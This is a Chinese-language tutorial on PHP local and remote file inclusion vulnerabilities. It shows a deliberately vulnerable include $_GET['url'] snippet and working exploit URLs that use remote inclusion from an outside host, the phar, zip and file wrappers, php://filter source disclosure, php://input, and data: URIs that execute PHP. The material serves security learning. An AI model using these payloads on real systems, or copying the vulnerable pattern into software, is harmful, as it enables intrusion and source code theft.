简介

服务器执行PHP文件时，可以通过文件包含函数加载另一个文件中的PHP代码，并且当PHP来执行，这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时，您只更新一个包含文件就可以了，或者当您向网站添加一张新页面时，仅仅需要修改一下菜单文件（而不是更新所有网页中的链接）。

PHP Stream（流）

属性	支持
受限于 allow_url_fopen	NO
受限于allow_url_include	仅 php://input、 php://stdin、 php://memory 和 php://temp。
允许读取	仅 php://stdin、 php://input、 php://fd、 php://memory 和 php://temp。
允许写入	仅 php://stdout、 php://stderr、 php://output、 php://fd、 php://memory 和 php://temp。
允许追加	仅 php://stdout、 php://stderr、 php://output、 php://fd、 php://memory 和 php://temp（等于写入）
允许同时读写	仅 php://fd、 php://memory 和 php://temp。
支持 stat()	仅 php://memory 和 php://temp。
支持 unlink()	No
支持 rename()	No
支持 mkdir()	No
支持 rmdir()	No
仅仅支持 stream_select()	php://stdin、 php://stdout、 php://stderr、 php://fd 和 php://temp。

PHP文件包含漏洞

分类

LFI(Local File Inclusion)

本地文件包含漏洞，顾名思义，指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏
洞都是LFI。简单的测试用例如前所示。

RFI(Remote File Inclusion)

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的，
因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻，需要php.ini中进行配置

allow_url_fopen = On
allow_url_include = On

两个配置选项均需要为On，才能远程包含文件成功。

php:// — 访问各个输入/输出流（I/O streams）
php中引发文件包含漏洞的通常是
以下四个函数：

• include()
• include_once()
• require()
• require_once()

举例

解析txt

include可以包含文件，如txt文本格式，并把包含的文件当作php代码解析执行。

test.php

<?php
include "1.txt";

1.txt:

<?php
phpinfo();

<?php
include $_GET['url'];

包含服务器文件

访问：http://xx/test.php?url=1.txt跟上面一样。
配置：

allow_url_fopen = On
allow_url_include = On

访问：http://test/test.php?url=http://www.baidu.com

包含本地文件

访问：http://test/test.php?url=file:///D:/test/1.txt
利用条件：php版本大于等于php5.3.0phar://

test.php?file=phar://test.zip/phpinfo.txtzip://	
test.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt

访问：http://test/test.php?url=http://v.f5.ink/i
http://v.f5.ink/i下载的文本内容为：

include # F5.ink
<?PHP
phpinfo();
?>

发送post请求php://input

火狐浏览器插件hackbar:
https://addons.mozilla.org/en-US/firefox/addon/max-hackbar/?src=search

读取php代码：

php://filter/read=convert.base64-encode/resource=test.php
访问：http://test/test.php?url=php://filter/read=convert.base64-encode/resource=test.php
不受allow_url_include限制
base64解密：

echo "PD9waHANCmluY2x1ZGUgJF9HRVRbJ3VybCddOw0KPz4=" | base64 -d

data base64

http://test/test.php?url=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
http://test/test.php?url=data:text/plain,%3C?php%20phpinfo();?%3E

利用条件：php版本大于等于php5.2、allow_url_fopen = On、allow_url_include = On

图片也一样
http://tool.chinaz.com/tools/imgtobase/

参考

http://f5.ink:50001/index.php